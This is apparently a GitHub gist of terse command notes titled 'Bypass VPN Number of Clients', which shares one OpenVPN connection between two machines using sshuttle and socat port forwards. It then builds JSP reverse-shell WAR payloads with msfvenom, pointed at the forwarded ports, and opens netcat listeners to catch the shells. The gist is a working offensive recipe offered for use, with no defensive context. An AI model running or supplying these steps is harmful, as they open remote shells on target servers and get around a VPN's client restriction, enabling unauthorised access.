Last active
July 10, 2018 08:07
-
-
Save adon90/eb8a168e594b4846969dcb2224c0054f to your computer and use it in GitHub Desktop.
Bypass VPN Number of Clients
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HOST | |
openvpn adon901.ovpn | |
COMPUTER 1 | |
sshuttle -vr root@HOST 10.10.0.0/8 | |
COMPUTER 2 | |
sshuttle -vr root@HOST 10.10.0.0/8 | |
HOST: | |
socat TCP4-LISTEN:8443,fork,reuseaddr TCP4:<COMPUTER1>:80 | |
socat TCP4-LISTEN:7443,fork,reuseaddr TCP4:<COMPUTER2>:7443 | |
COMPUTER 1 | |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.112 LPORT=8443 -f war > shell1.war | |
nc -nlvp 80 | |
COMPUTER 2 | |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.122 LPORT=7443 -f war > shell2.war | |
nc -nlvp 7443 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment